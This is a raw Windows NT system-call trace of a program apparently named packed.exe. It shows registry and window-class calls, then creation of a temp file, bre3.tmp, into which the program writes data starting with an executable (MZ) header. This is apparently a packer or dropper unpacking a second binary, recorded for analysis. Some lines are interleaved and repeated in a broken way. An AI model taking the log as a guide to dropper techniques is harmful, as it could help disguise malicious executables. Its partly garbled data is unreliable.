 00548  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WindowsShell.Manifest"}, 1238152, ... ) }, 1238152, ... ) == 0x0
 00549  1744   NtCreateFile  (0x80100080, {24, 0, 0x40, 0, 1238896,  (0x80100080, {24, 0, 0x40, 0, 1238896, "\??\C:\WINDOWS\WindowsShell.Manifest"}, 0x0, 0, 5, 1, 96, 0, 0, ... 100, {status=0x0, info=1}, ) }, 0x0, 0, 5, 1, 96, 0, 0, ... 100, {status=0x0, info=1}, ) == 0x0
 00550  1744   NtCreateSection  (0xf0005, 0x0, 0x0, 2, 134217728, 100, ... 52, ) == 0x0
 00551  1744   NtClose  (100, ... ) == 0x0
 00552  1744   NtMapViewOfSection  (52, -1, (0x0), 0, 0, {0, 0}, 0, 1, 0, 2, ... (0x370000), {0, 0}, 4096, ) == 0x0
 00553  1744   NtClose  (52, ... ) == 0x0
 00554  1744   NtUnmapViewOfSection  (-1, 0x370000, ... ) == 0x0
 00555  1744   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WindowsShell.Manifest"}, 1, 96, ... 52, {status=0x0, info=1}, ) }, 1, 96, ... 52, {status=0x0, info=1}, ) == 0x0
 00556  1744   NtCreateSection  (0x4, 0x0, 0x0, 2, 134217728, 52, ... 100, ) == 0x0
 00557  1744   NtMapViewOfSection  (100, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 2, ... (0x370000), 0x0, 4096, ) == 0x0
 00558  1744   NtQueryInformationFile  (52, 1238548, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 00559  1744   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WindowsShell.Config"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00560  1744   NtRequestWaitReplyPort  (24, {128, 156, new_msg, 0, 2088850039, 1238848, 1179817, 1238572}  (24, {128, 156, new_msg, 0, 2088850039, 1238848, 1179817, 1238572} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\3\0@\0D\0\250\6$\14\0\0\0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\355\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\26\0\30\0\354\6$\1\0\0\0\0\0\0\0\04\353\22\0\0\0\0\0" ... {128, 156, reply, 0, 1736, 1744, 75497, 0} "\260d\27\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\3\0@\0D\0\250\6$\14\0\0\0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\355\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\26\0\30\0\354\6$\1\0\0\0\0\0\0\0\04\353\22\0\0\0\0\0" )  ... {128, 156, reply, 0, 1736, 1744, 75497, 0}  (24, {128, 156, new_msg, 0, 2088850039, 1238848, 1179817, 1238572} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\3\0@\0D\0\250\6$\14\0\0\0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\355\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\26\0\30\0\354\6$\1\0\0\0\0\0\0\0\04\353\22\0\0\0\0\0" ... {128, 156, reply, 0, 1736, 1744, 75497, 0} "\260d\27\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\3\0@\0D\0\250\6$\14\0\0\0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\355\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\26\0\30\0\354\6$\1\0\0\0\0\0\0\0\04\353\22\0\0\0\0\0" )  ) == 0x0
 00561  1744   NtClose  (52, ... ) == 0x0
 00562  1744   NtClose  (100, ... ) == 0x0
 00563  1744   NtUnmapViewOfSection  (-1, 0x370000, ... ) == 0x0
 00564  1744   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00565  1744   NtUserRegisterWindowMessage  ( ("ShellGetDragImage", ... ) , ... ) == 0xc03a
 00566  1744   NtUserSystemParametersInfo  (104, 0, 2001084812, 0, ... ) == 0x1
 00567  1744   NtUserGetDC  (0, ... ) == 0x1010054
 00568  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 00569  1744   NtUserSystemParametersInfo  (38, 4, 2001086940, 0, ... ) == 0x1
 00570  1744   NtUserSystemParametersInfo  (66, 12, 1240548, 0, ... ) == 0x1
 00571  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00572  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 100, ) == 0x0
 00573  1744   NtQueryInformationToken  (100, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00574  1744   NtClose  (100, ... ) == 0x0
 00575  1744   NtOpenKey  (0x20019, {24, 0, 0x640, 0, 0,  (0x20019, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... 100, ) }, ... 100, ) == 0x0
 00576  1744   NtOpenProcessToken  (-1, 0x8, ... 52, ) == 0x0
 00577  1744   NtAccessCheck  (1335152, 52, 0x1, 1240380, 1240432, 56, 1240412, ... ) == STATUS_NO_IMPERSONATION_TOKEN
 00578  1744   NtClose  (52, ... ) == 0x0
 00579  1744   NtOpenKey  (0x20019, {24, 100, 0x40, 0, 0,  (0x20019, {24, 100, 0x40, 0, 0, "Control Panel\Desktop"}, ... 52, ) }, ... 52, ) == 0x0
 00580  1744   NtQueryValueKey  (52,  (52, "SmoothScroll", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00581  1744   NtClose  (52, ... ) == 0x0
 00582  1744   NtUserSystemParametersInfo  (41, 500, 1240576, 0, ... ) == 0x1
 00583  1744   NtOpenProcessToken  (-1, 0x8, ... 52, ) == 0x0
 00584  1744   NtAccessCheck  (1335152, 52, 0x1, 1240380, 1240432, 56, 1240412, ... ) == STATUS_NO_IMPERSONATION_TOKEN
 00585  1744   NtClose  (52, ... ) == 0x0
 00586  1744   NtOpenKey  (0x20019, {24, 100, 0x40, 0, 0,  (0x20019, {24, 100, 0x40, 0, 0, "software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"}, ... 52, ) }, ... 52, ) == 0x0
 00587  1744   NtQueryValueKey  (52,  (52, "EnableBalloonTips", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00588  1744   NtClose  (52, ... ) == 0x0
 00589  1744   NtUserSystemParametersInfo  (27, 0, 2001085788, 0, ... ) == 0x1
 00590  1744   NtUserSystemParametersInfo  (102, 0, 2001086828, 0, ... ) == 0x1
 00591  1744   NtClose  (100, ... ) == 0x0
 00592  1744   NtUserSystemParametersInfo  (4130, 0, 1241080, 0, ... ) == 0x1
 00593  1744   NtOpenKey  (0x1, {24, 16, 0x40, 0, 0,  (0x1, {24, 16, 0x40, 0, 0, "Software\Microsoft\Windows NT\CurrentVersion\LanguagePack"}, ... 100, ) }, ... 100, ) == 0x0
 00594  1744   NtEnumerateValueKey  (100, 0, Full, 220, ... ) == STATUS_NO_MORE_ENTRIES
 00595  1744   NtClose  (100, ... ) == 0x0
 00596  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00597  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c03b
 00598  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c03d
 00599  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00600  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c03f
 00601  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00602  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c041
 00603  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00604  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c043
 00605  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c045
 00606  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00607  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c047
 00608  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00609  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c049
 00610  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00611  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c04b
 00612  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00613  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c04d
 00614  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00615  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c04f
 00616  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c051
 00617  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00618  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c053
 00619  1744   NtUserFindExistingCursorIcon  (1240324, 1240340, 1240388, ... ) == 0x10011
 00620  1744   NtUserRegisterClassExWOW  (1240268, 1240336, 1240352, 1240368, 0, 384, 0, ... ) == 0x8172c055
 00621  1744   NtUserFindExistingCursorIcon  (1240324, 1240340, 1240388, ... ) == 0x10011
 00622  1744   NtUserRegisterClassExWOW  (1240268, 1240336, 1240352, 1240368, 0, 384, 0, ... ) == 0x8172c057
 00623  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00624  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c059
 00625  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10013
 00626  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c05b
 00627  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00628  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c05d
 00629  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00630  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c05f
 00631  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00632  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c017
 00633  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00634  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c019
 00635  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10013
 00636  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c018
 00637  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00638  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c01a
 00639  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00640  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c01c
 00641  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00642  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c01e
 00643  1744   NtUserFindExistingCursorIcon  (1240320, 1240336, 1240384, ... ) == 0x10011
 00644  1744   NtUserRegisterClassExWOW  (1240320, 1240388, 1240404, 1240420, 0, 384, 0, ... ) == 0x8172c01b
 00645  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00646  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c068
 00647  1744   NtUserFindExistingCursorIcon  (1240328, 1240344, 1240392, ... ) == 0x10011
 00648  1744   NtUserRegisterClassExWOW  (1240272, 1240340, 1240356, 1240372, 0, 384, 0, ... ) == 0x8172c06a
 00649  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00650  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 100, ) == 0x0
 00651  1744   NtQueryInformationToken  (100, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00652  1744   NtClose  (100, ... ) == 0x0
 00653  1744   NtOpenKey  (0x2000000, {24, 0, 0x640, 0, 0,  (0x2000000, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... 100, ) }, ... 100, ) == 0x0
 00654  1744   NtSetInformationObject  (100, Handle, {Inherit=0,ProtectFromClose=1,}, 1179904, ... ) == 0x0
 00655  1744   NtCreateKey  (0x2001f, {24, 100, 0x40, 0, 0,  (0x2001f, {24, 100, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings"}, 0, 0x0, 0, ... 52, 2, ) }, 0, 0x0, 0, ... 52, 2, ) == 0x0
 00656  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00657  1744   NtQuerySystemInformation  (Processor, 12, ... {system info, class 1, size 12}, 0x0, ) == 0x0
 00658  1744   NtSetEventBoostPriority  (88, ...
 00437   868   NtWaitForSingleObject  ... ) == 0x0
 00659   868   NtTestAlert  (... ) == 0x0
 00660   868   NtContinue  (11468080, 1, ...
 00661   868   NtRegisterThreadTerminatePort  (24, ... ) == 0x0
 00662   868   NtDeviceIoControlFile  (68, 80, 0x0, 0x77e466a0, 0x228144,  (68, 80, 0x0, 0x77e466a0, 0x228144, "\2\0\0\0\1\0\0\0\\370\342w\0\0\0\0L\0\0\0\0\0\0\0\\0\0\0\0\0\0\0@\0\0\0\0\0\0\0", 40, 4096, ... {status=0x103, info=0}, "", ) , 40, 4096, ... {status=0x103, info=0}, "", ) == 0x103
 00658  1744   NtSetEventBoostPriority  ... ) == 0x0
 00663  1744   NtTestAlert  (... ) == 0x0
 00664  1744   NtContinue  (1244464, 1, ...
 00665  1744   NtSetInformationThread  (-2, Win32StartAddress(LpcReceivedMessageId), {StartAddress(LpcReceivedMsgId)=0x3142a000,}, 4, ... ) == 0x0
 00666  1744   NtOpenKey  (0x20019, {24, 100, 0x40, 0, 0,  (0x20019, {24, 100, 0x40, 0, 0, "Software\Microsoft\Windows\CurrentVersion\Explorer"}, ... 104, ) }, ... 104, ) == 0x0
 00667  1744   NtQueryValueKey  (104,  (104, "PINF", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00668  1744   NtClose  (104, ...
 00669   868   NtWaitForMultipleObjects  (2, (72, 80, ), 1, 1, {1294967296, -1}, ... ) == 0x0
 00670   868   NtDeviceIoControlFile  (68, 84, 0x0, 0x77e46680, 0x228144,  (68, 84, 0x0, 0x77e46680, 0x228144, "\2\0\0\0\1\0\0\0\\370\342w\0\0\0\0L\0\0\0\0\0\0\0\\0\0\0\0\0\0\0@\0\0\0\0\0\0\0", 40, 4096, ... {status=0x103, info=0}, "", ) , 40, 4096, ... {status=0x103, info=0}, "", ) == 0x103
 00671   868   NtWaitForMultipleObjects  (2, (72, 84, ), 1, 1, {1294967296, -1}, ...
 00668  1744   NtClose  ... ) == 0x0
 00672  1744   NtAllocateVirtualMemory  (-1, 1224704, 0, 4096, 4096, 260, ... 1224704, 4096, ) == 0x0
 00673  1744   NtCreateFile  (0x80100080, {24, 0, 0x40, 0, 1234112,  (0x80100080, {24, 0, 0x40, 0, 1234112, "\??\u:\work\packed.exe"}, 0x0, 1, 1, 1, 96, 0, 0, ... 104, {status=0x0, info=1}, ) }, 0x0, 1, 1, 1, 96, 0, 0, ... 104, {status=0x0, info=1}, ) == 0x0
 00674  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp"}, 1233816, ... ) }, 1233816, ... ) == 0x0
 00675  1744   NtRequestWaitReplyPort  (24, {20, 48, new_msg, 0, 1234168, 2089878865, 1315608, 2089878893}  (24, {20, 48, new_msg, 0, 1234168, 2089878865, 1315608, 2089878893} "\0\0\0\0\2\0\1\0\0\0\0\0\34'\0\0\2\0\0\0" ... {20, 48, reply, 0, 1736, 1744, 75498, 0} "\0\0\0\0\2\0\1\0\3\0\0\0\34'\0\0\3\0\0\0" )  ... {20, 48, reply, 0, 1736, 1744, 75498, 0}  (24, {20, 48, new_msg, 0, 1234168, 2089878865, 1315608, 2089878893} "\0\0\0\0\2\0\1\0\0\0\0\0\34'\0\0\2\0\0\0" ... {20, 48, reply, 0, 1736, 1744, 75498, 0} "\0\0\0\0\2\0\1\0\3\0\0\0\34'\0\0\3\0\0\0" )  ) == 0x0
 00676  1744   NtCreateFile  (0x80100080, {24, 0, 0x40, 0, 1233824,  (0x80100080, {24, 0, 0x40, 0, 1233824, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.tmp"}, 0x0, 128, 0, 2, 96, 0, 0, ... }, 0x0, 128, 0, 2, 96, 0, 0, ...
 00677  1744   NtQueryDirectoryFile  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1,  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1, "DOCUME~1", 1, ... {status=0x0, info=56}, ) , 1, ... {status=0x0, info=56}, ) == 0x0
 00678  1744   NtClose  (-2147481380, ... ) == 0x0
 00679  1744   NtQueryDirectoryFile  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1,  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1, "MARTIM~1", 1, ... {status=0x0, info=40}, ) , 1, ... {status=0x0, info=40}, ) == 0x0
 00680  1744   NtClose  (-2147481380, ... ) == 0x0
 00681  1744   NtQueryDirectoryFile  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1,  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1, "LOCALS~1", 1, ... {status=0x0, info=40}, ) , 1, ... {status=0x0, info=40}, ) == 0x0
 00682  1744   NtClose  (-2147481380, ... ) == 0x0
 00676  1744   NtCreateFile  ... 108, {status=0x0, info=2}, ) == 0x0
 00683  1744   NtClose  (108, ... ) == 0x0
 00684  1744   NtCreateFile  (0xc0100080, {24, 0, 0x40, 0, 1234112,  (0xc0100080, {24, 0, 0x40, 0, 1234112, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.tmp"}, 0x0, 128, 1, 5, 96, 0, 0, ... }, 0x0, 128, 1, 5, 96, 0, 0, ...
 00685  1744   NtClose  (-2147481380, ... ) == 0x0
 00686  1744   NtQueryDirectoryFile  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1,  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1, "DOCUME~1", 1, ... {status=0x0, info=56}, ) , 1, ... {status=0x0, info=56}, ) == 0x0
 00687  1744   NtClose  (-2147481380, ... ) == 0x0
 00688  1744   NtQueryDirectoryFile  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1,  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1, "MARTIM~1", 1, ... {status=0x0, info=40}, ) , 1, ... {status=0x0, info=40}, ) == 0x0
 00689  1744   NtClose  (-2147481380, ... ) == 0x0
 00690  1744   NtQueryDirectoryFile  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1,  (-2147481380, 0, 0, 0, -519725056, 4096, Names, 1, "LOCALS~1", 1, ... {status=0x0, info=40}, ) , 1, ... {status=0x0, info=40}, ) == 0x0
 00691  1744   NtClose  (-2147481380, ... ) == 0x0
 00684  1744   NtCreateFile  ... 108, {status=0x0, info=3}, ) == 0x0
 00692  1744   NtSetInformationFile  (104, 1234204, 8, Position, ... {status=0x0, info=0}, ) == 0x0
 00693  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\305E|\0\212\37,\0\214\37#\0w\340,\00\37,\0\210\37,\0\310\376\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\35,\02\17,\16\227\253%\315\251\247-LE>\274\220\334wEs\250o^o\357mMm\250rYs\374?Ne\250mYn\250jBd\355m\14W\341q\372\205\25\107\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0\210\37,\0", ) , ) == 0x0
 00694  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "MZP\0\2\0\0\0\4\0\17\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\32\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\272\20\0\16\37\264\11\315!\270\1L\315!\220\220This program must be run under Win32\15\12$7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 10240, 0x0, 0, ... , 10240, 0x0, 0, ...
 00695  1744   NtContinue  (-139350572, 0, ...
 00694  1744   NtWriteFile  ... {status=0x0, info=10240}, ) == 0x0
 00696  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\335\27\32\34\347#aE\347mU,(rM\10\270\34\255\7@\327J\331\352\337m\304@\\344<\212S^\334`\356FD\342\177}\271\214\4P\377\256\335t}\15\260"D\323\267\344\270\0NS\300\356\224|\1\330\211Gg\351\35l\315\364 -\26[\1\32\13\335)R}*}\21\2\306\37e\250\257\206K\366wo,`\275\376\305\213&\304\353\326H\360\200\217\230\254\302_\24[C\244\16\16\301\231\37&^\325c"8\305\216\3651\325\4:\31\30\217\364\2253\255|\12$\10\247Q\307\27H\203\30\33$#D\315\0\210\270\331W\22\311\21\315\311pY\4Il)7\37\214\320\334fX\343\2303\216\334\315\15\271\235\3244Vsn\266\330{\334X\266)\376 L-kW@\233\344\257\3041]Pa[,(\211\303\254\24\13%\6\12\370\32)\34\343\264\372\12`O\376<\256o\202\10\336kY\310\315\2319\212U\322\300\10N\37K)\13&\324\251s;\346\232\312\\25R\222_{\344\30)\35\15\3^\30\324!\266\341\\301\12)-D;\264\365\310\22~\314\330\214\254\221%\215\302\334\21\316\10\370-byuH\224q\304CF\272\357\4\334\204\306$\257\230F\330\21\315\224\260\327\177\1\26\267\33\225\256\313\4\217;\254\351\223~%\13\250)\37\222m\347'\257x\320r\34\213<\224fX\245;+\220\367\327\14^\221\374\7\227\234\340\323\12\244g\20\231\251\7H\360\\216T]\2651\217\261\z\313\354\211\304 p\202\301\337P\357|\344\266\226]\17\350\361\367'5\341\251\310&lG#\11U\302\34\2\212\177l\3\32W\204\211\312G\272\254D\313\324\L\217\17\14\16\236\1d\0\235\22\354W\344\324\217\333v\274\355\266\313$\203\247a\16\323\252[$\357\361\17", ) D\323\267\344\270\0NS\300\356\224|\1\330\211Gg\351\35l\315\364 -\26[\1\32\13\335)R}*}\21\2\306\37e\250\257\206K\366wo,`\275\376\305\213&\304\353\326H\360\200\217\230\254\302_\24[C\244\16\16\301\231\37&^\325c (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\335\27\32\34\347#aE\347mU,(rM\10\270\34\255\7@\327J\331\352\337m\304@\\344<\212S^\334`\356FD\342\177}\271\214\4P\377\256\335t}\15\260"D\323\267\344\270\0NS\300\356\224|\1\330\211Gg\351\35l\315\364 -\26[\1\32\13\335)R}*}\21\2\306\37e\250\257\206K\366wo,`\275\376\305\213&\304\353\326H\360\200\217\230\254\302_\24[C\244\16\16\301\231\37&^\325c"8\305\216\3651\325\4:\31\30\217\364\2253\255|\12$\10\247Q\307\27H\203\30\33$#D\315\0\210\270\331W\22\311\21\315\311pY\4Il)7\37\214\320\334fX\343\2303\216\334\315\15\271\235\3244Vsn\266\330{\334X\266)\376 L-kW@\233\344\257\3041]Pa[,(\211\303\254\24\13%\6\12\370\32)\34\343\264\372\12`O\376<\256o\202\10\336kY\310\315\2319\212U\322\300\10N\37K)\13&\324\251s;\346\232\312\\25R\222_{\344\30)\35\15\3^\30\324!\266\341\\301\12)-D;\264\365\310\22~\314\330\214\254\221%\215\302\334\21\316\10\370-byuH\224q\304CF\272\357\4\334\204\306$\257\230F\330\21\315\224\260\327\177\1\26\267\33\225\256\313\4\217;\254\351\223~%\13\250)\37\222m\347'\257x\320r\34\213<\224fX\245;+\220\367\327\14^\221\374\7\227\234\340\323\12\244g\20\231\251\7H\360\\216T]\2651\217\261\z\313\354\211\304 